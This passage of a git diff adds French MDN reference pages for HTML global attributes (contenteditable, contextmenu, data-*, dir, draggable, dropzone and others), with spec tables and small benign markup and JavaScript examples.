+   <td>{{SpecName('HTML5.1', "dom.html#element-attrdef-global-class", "class")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>État selon {{SpecName('HTML WHATWG')}}. Aucune modification depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>État selon {{SpecName('HTML WHATWG')}}. <code>class</code> est désormas sun attribut universel depuis {{SpecName('HTML4.01')}},.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Cet attribut est pris en charge sur tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.class")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Tous les attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/contenteditable/index.html b/files/fr/web/html/attributs_universels/contenteditable/index.html
new file mode 100644
index 0000000000..1f805fc490
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/contenteditable/index.html
@@ -0,0 +1,85 @@
+---
+title: contenteditable
+slug: Web/HTML/Attributs_universels/contenteditable
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/contenteditable
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>contenteditable</strong></code> est un attribut à valeur contrainte qui indique si l'élément courant doit pouvoir être édité par l'utilisateur ou non. Lorsque c'est le cas, des éléments de l'interface du navigateur (ou de l'agent utilisateur) sont modifiés afin de permettre l'édition.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-contenteditable.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les valeurs autorisées pour cet attribut sont :</p>
+
+<ul>
+ <li><code>true</code> ou la chaîne de caractères vide qui indiquent que l'élément est éditable</li>
+ <li><code>false</code> qui indique que l'élément ne peut pas être édité.</li>
+</ul>
+
+<p>Si cet attribut n'est pas défini, sa valeur est héritée depuis son élément parent.</p>
+
+<p>Cet attribut n'est pas un attribut booléen ! Cela signifie qu'une valeur explicite est nécessaire pour son fonctionnement. Toute forme telle que <code>&lt;label contenteditable&gt;Exemple&lt;/label&gt;</code> n'est pas autorisée. La version correcte sera <code>&lt;label contenteditable="true"&gt;Exemple&lt;/label&gt;</code>.</p>
+
+<p>Il est possible de modifier la couleur du symbole d'insertion grâce à la propriété CSS {{cssxref("caret-color")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML Editing", "contentEditable.html#contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2("HTML Editing")}}</td>
+   <td>Ajout de <code>"events"</code>, <code>"caret"</code>, <code>"typing"</code>, <code>"plaintext-only"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Aucune modification depuis la dernière dérivation, {{SpecName("HTML5.2")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}, aucune modification depuis {{SpecName("HTML5.1")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}, aucune modification depuis {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.contenteditable")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Contenu_editable">Rendre le contenu éditable</a></li>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Tous les attributs universels</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}} et {{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>{{cssxref("caret-color")}}</li>
+ <li><a href="/fr/docs/Web/API/HTMLElement/input_event">L'évènement <code>input</code> pour l'objet DOM <code>HTMLElement</code></a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/contextmenu/index.html b/files/fr/web/html/attributs_universels/contextmenu/index.html
new file mode 100644
index 0000000000..187be1f1cc
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/contextmenu/index.html
@@ -0,0 +1,118 @@
+---
+title: contextmenu
+slug: Web/HTML/Attributs_universels/contextmenu
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/contextmenu
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{obsolete_header}}</div>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cet attribut est <a href="https://html.spec.whatwg.org/multipage/obsolete.html#attr-contextmenu">obsolète</a> et sera retiré de l'ensemble des navigateurs.</p>
+</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>contextmenu</strong></code> correspond à l'{{htmlattrxref("id","","identifiant",1)}} d'un élément {{HTMLElement("menu")}} qu'on souhaite utiliser comme menu contextuel pour l'élément courant.</p>
+
+<p>Un menu contextuel est un menu qui apparaît suite à une action utilisateur (par exemple un clic-droit). HTML5 permet désormais de personnaliser ce menu.</p>
+
+<div id="ContextMenu_Example">
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici quelques exemples de personnalisations de menus. Le code HTML pourra être :</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;body contextmenu="share"&gt;
+  &lt;menu type="context" id="share"&gt;
+    &lt;menu label="Partager"&gt;
+      &lt;menuitem label="Twitter" onclick="shareViaTwitter()"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Facebook" onclick="shareViaFacebook()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/menu&gt;
+  &lt;ol&gt;
+    &lt;li&gt;
+      Dans cet exemple, vous pouvez partager un lien vers
+      cette page sur Facebook et/ou Twitter via le groupe Partager
+      du menu contextuel
+    &lt;/li&gt;
+    &lt;li&gt;Sur cette ligne : on peut partager la page sur Twitter ou Facebook grâce au menu Partager du menu contextuel.&lt;/li&gt;
+    &lt;li&gt;&lt;pre contextmenu="changeFont" id="fontSizing"&gt;Sur cette ligne : on peut changer la taille de la police en utilisant les options "Augmenter/Réduire la taille de la police" du menu contextuel&lt;/pre&gt;&lt;/li&gt;
+    &lt;menu type="context" id="changeFont"&gt;
+      &lt;menuitem label="Augmenter la taille de la police" onclick="incFont()"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Réduire la taille de la police" onclick="decFont()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+    &lt;li contextmenu="ChangeImage" id="changeImage"&gt;Sur cette ligne : on peut  utiliser l'option "Changer l'image" du menu.&lt;/li&gt;&lt;br /&gt;
+    &lt;img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" /&gt;
+    &lt;menu type="context" id="ChangeImage"&gt;
+      &lt;menuitem label="Changer l'image" onclick="changeImage()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/ol&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js">function shareViaTwitter() {
+  window.open("https://twitter.com/intent/tweet?text=" +
+      "Je découvre ContextMenu avec MDN.");
+}
+
+function shareViaFacebook() {
+  window.open("https://facebook.com/sharer/sharer.php?u=" +
+      "https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels/contextmenu");
+}
+function incFont(){
+  document.getElementById("fontSizing").style.fontSize="larger";
+}
+
+function decFont(){
+  document.getElementById("fontSizing").style.fontSize="smaller";
+}
+
+function changeImage(){
+  var j = Math.ceil((Math.random()*39)+1);
+  document.images[0].src="https://developer.mozilla.org/media/img/promote/promobutton_mdn" + j + ".png";
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample("Exemples",600,500)}}</div>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "obsolete.html#attr-contextmenu", "contextmenu")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Rendu obsolète</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "interactive-elements.html#context-menus", "contextmenu")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivation de {{SpecName('HTML WHATWG')}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.contextmenu")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>{{domxref("HTMLElement.contextMenu")}}</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/data-_star_/index.html b/files/fr/web/html/attributs_universels/data-_star_/index.html
new file mode 100644
index 0000000000..d8befa7a2f
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/data-_star_/index.html
@@ -0,0 +1,83 @@
+---
+title: data-*
+slug: Web/HTML/Attributs_universels/data-*
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/data-*
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>Les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a> <code><strong>data-*</strong></code> forment une classe d'attributs, appelés attributs de données (<em>data attributes</em>). Ils permettent d'échanger des données propriétaire entre le <a href="/fr/docs/Web/HTML">HTML</a> et la représentation du <a href="/fr/docs/Web/API/Référence_du_DOM_Gecko">DOM</a>, qu'on peut manipuler avec des scripts.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>De tels attributs sont disponibles via l'interface {{domxref("HTMLElement")}} de l'élément pour lequel l'attribut est utilisé. La propriété {{domxref("HTMLElement.dataset")}} permet d'accéder à l'attribut.<br>
+ Ici, l'astérisque (<code>*</code>) peut être remplacée par n'importe quel nom valide selon <a class="external" href="https://www.w3.org/TR/REC-xml/#NT-Name">les règles appliquées aux noms XML</a> et en respectant les contraintes suivantes :</p>
+
+<ul>
+ <li>Le nom ne peut pas commencer par <code>xml</code>, quelle que soit la casse utilisée pour les différentes lettres</li>
+ <li>Le nom ne doit pas contenir de point-virgule (<code>U+003A</code>)</li>
+ <li>Le nom ne doit pas contenir de lettres majuscules de l'alphabet latin (<code>A</code> à <code>Z</code>).</li>
+</ul>
+
+<p>La propriété {{domxref("HTMLElement.dataset")}} est un objet {{domxref("StringMap")}} et la valeur d'un attribut de donnée nommé <code>data-test-valeur</code> sera accessible via <code>HTMLElement.dataset.testValeur</code> car les tirets (<code>U+002D</code>) sont remplacés par la majuscule de la lettre suivante (<a href="https://fr.wikipedia.org/wiki/CamelCase">CamelCase</a>).</p>
+
+<h3 id="Utilisation">Utilisation</h3>
+
+<p>Lorsqu'on ajoute des attributs de données <code>data-*</code>, on peut utiliser les éléments HTML classiques afin d'en faire des objets complexes et puissants. Ainsi, un <em>sprite</em> d'un vaisseau spatial dans un jeu peut être modélisé via un élément {{HTMLElement("img")}} auquel on associe un attribut <code>class</code> et plusieurs attributs de données sous la forme <code>data-*</code>.</p>
+
+<pre class="brush: html">&lt;img class="spaceship cruiserX3" src="shipX3.png"
+     data-ship-id="324" data-weapons="laserI laserII"
+     data-x="414354" data-y="85160" data-z="31940"
+     onclick="spaceships[this.dataset.shipId].blasted()"&gt;
+&lt;/img&gt;
+</pre>
+
+<p>Pour un tutoriel plus avancé à propos des attributs de données HTML, lire l'article <a href="/fr/Apprendre/HTML/Comment/Utiliser_attributs_donnes">Manipuler les attributs de données</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de modification depuis la dernière dérivation, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, pas de changement depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.data_attributes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>La propriété {{domxref("HTMLElement.dataset")}} qui permet d'accéder à ces valeurs et de les modifier.</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/dir/index.html b/files/fr/web/html/attributs_universels/dir/index.html
new file mode 100644
index 0000000000..5cf187f35e
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/dir/index.html
@@ -0,0 +1,90 @@
+---
+title: dir
+slug: Web/HTML/Attributs_universels/dir
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/dir
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>dir</strong></code> est un attribut à valeur contrainte qui indique la direction du texte contenu dans l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les valeurs autorisées pour cet attribut sont :</p>
+
+<ul>
+ <li><code>ltr</code> : qui signifie <em>left to right </em>(gauche à droite), utilisé pour les langages écrits de gauche à droite (comme le français ou l'anglais par exemple)</li>
+ <li><code>rtl</code> : qui signifie <em>right to left</em> (droite à gauche), utilisé pour les langages écrits de droite à gauche (comme l'arabe par exemple)</li>
+ <li><code>auto</code> : qui délègue la décision à l'agent utilisateur. L'algorithme utilisé est relativement simple : le contenu textuel est analysé et lorsque le premier caractère possédant une direction « forte » est rencontré, cette direction est prise pour l'ensemble de l'élément.</li>
+</ul>
+
+<div class="note">
+<p><strong>Notes d'utilisation :</strong><br>
+ Cet attribut est obligatoire pour l'élément {{HTMLElement("bdo")}}, pour lequel l'attribut a une sémantique différente.</p>
+
+<ul>
+ <li>
+  <p>La valeur de l'attribut n'est pas héritée par l'élément {{HTMLElement("bdi")}}. S'il n'est pas défini, la valeur par défaut sera <code>auto</code>.</p>
+ </li>
+ <li>
+  <p>Cet attribut peut être surchargé par les propriétés CSS {{cssxref("direction")}} et {{cssxref("unicode-bidi")}}, (qui sont appliquées si une page CSS est active et que l'élément courant prend en charge ces propriétés).</p>
+ </li>
+ <li>
+  <p>La direction du texte est généralement liée à la sémantique du contenu et non à sa présentation. Il est donc recommandé d'utiliser cet attribut plutôt que des propriétés CSS quand la direction n'est pas lié à une quelconque mise en forme. Ainsi, le texte sera affiché correctement, y compris si le navigateur ne supporte pas ces propriétés CSS ou si CSS est désactivé.</p>
+ </li>
+ <li>
+  <p>La valeur <code>auto</code> doit être utilisée pour des données dont la direction est inconnue (comme par exemple des données provenant d'une saisie utilisateur).</p>
+ </li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement de {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, à partir de {{SpecName('HTML4.01')}} la valeur <code>auto</code> a été ajoutée et l'attribut est un attribut global à part entière.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Attribut pris en charge pour tous les éléments à l'exception {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, et {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.dir")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li>La propriété {{domxref("HTMLElement.dir")}} qui reflète cet attribut</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/draggable/index.html b/files/fr/web/html/attributs_universels/draggable/index.html
new file mode 100644
index 0000000000..fe5d5cf514
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/draggable/index.html
@@ -0,0 +1,71 @@
+---
+title: draggable
+slug: Web/HTML/Attributs_universels/draggable
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/draggable
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>draggable</strong></code> est un attribut à valeur contrainte qui indique si l'élément peut être déplacé avec la souris dans un geste de glisser-déposer lorsqu'on utilise l'API <em><a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">Drag &amp; Drop</a></em> ou les fonctionnalités natives du navigateur. Les valeurs autorisées pour cet attribut sont les suivantes :</p>
+
+<ul>
+ <li><code>true</code> : qui indique que l'élément peut être déplacé à la souris</li>
+ <li><code>false</code> : qui indique que l'élément ne peut pas être déplacé à la souris</li>
+</ul>
+
+<p>Si l'attribut n'est pas défini, la valeur par défaut sera <code>auto</code> : le comportement de l'élément sera celui spécifié par défaut par le navigateur.</p>
+
+<p>Cet attribut est un attribut à valeur contrainte, ce n'est pas un attribut booléen. Il faut donc utiliser une valeur explicite <code>true</code> ou <code>false</code>. La notation raccourcie <code>&lt;img draggable&gt;</code>(utilisant uniquement le nom de l'attribut) ne fonctionnera pas :</p>
+
+<pre class="example-bad brush: html">&lt;label draggable&gt;Label exemple&lt;/label&gt;</pre>
+
+<p>En revanche, on pourra correctement utiliser :</p>
+
+<pre class="example-good brush: html">&lt;label draggable="true"&gt;Label exemple&lt;/label&gt;</pre>
+
+<p>Par défaut, seules les sélections de texte, les images et les liens peuvent être déplacés à la souris. Pour les autres éléments, il faudra définir le gestionnaire d'événements pour {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} afin de faire fonctionner le glisser-déposer. Cela est illustré <a href="/fr/docs/Glisser_et_déposer/Opérations_de_glissement">dans cet exemple</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Aucune modification depuis la dernière dérivation de {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "interaction.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Aucune modification</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Dérivation de {{SpecName('HTML WHATWG')}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.draggable")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/dropzone/index.html b/files/fr/web/html/attributs_universels/dropzone/index.html
new file mode 100644
index 0000000000..e645e30973
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/dropzone/index.html
@@ -0,0 +1,48 @@
+---
+title: dropzone
+slug: Web/HTML/Attributs_universels/dropzone
+tags:
+  - Attribut universel
+  - HTML
+  - Obsolete
+  - Reference
+translation_of: Web/HTML/Global_attributes/dropzone
+---
+<div>{{HTMLSidebar("Global_attributes")}} {{deprecated_header}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>dropzone</strong></code> est un attribut à valeur contrainte qui indique le type de contenu qui peut être déposé sur un élément, il est utilisé avec l'<a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">API <em>Drag &amp; Drop</em></a>. Les valeurs autorisées pour cet attribut sont :</p>
+
+<ul>
+ <li><code>copy</code> qui indique que déposer un élément glissé créera une copie de celui-ci</li>
+ <li><code>move</code> qui indique qu'un élément qui a été glissé sera déplacé vers son nouvel emplacement</li>
+ <li><code>link</code> qui crée un lien vers les données déplacées</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.dropzone")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/hidden/index.html b/files/fr/web/html/attributs_universels/hidden/index.html
new file mode 100644
index 0000000000..c14d208620
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/hidden/index.html
@@ -0,0 +1,69 @@
+---
+title: hidden
+slug: Web/HTML/Attributs_universels/hidden
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/hidden
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>hidden</strong></code> est un attribut booléen qui indique s'il n'est pas encore ou s'il n'est plus pertinent d'afficher l'élément courant. Cet attribut peut, par exemple, être utilisé afin de masquer des éléments tant que l'utilisateur ne s'est pas connecté. Le navigateur n'affichera pas les éléments masqués via cet attribut.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-hidden.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cet attribut ne doit pas être utilisé pour masquer du contenu qui devrait pouvoir être vu sous une autre présentation. Si un contenu est marqué comme masqué, il sera masqué pour l'ensemble des présentations, y compris pour les lecteurs d'écran et autres outils d'assistance.</p>
+
+<p>Les éléments cachés avec <code>hidden</code> ne devraient pas avoir de lien qui pointent vers eux depuis des éléments visibles. De plus, les éléments fils de l'élément caché sont toujours actifs : cela signifie qu'ils peuvent être utilisés par les scripts et que les formulaires peuvent envoyer des données. Dans certains autres contextes, il est possible d'avoir des relations avec les éléments cachés via <code>hidden</code>.</p>
+
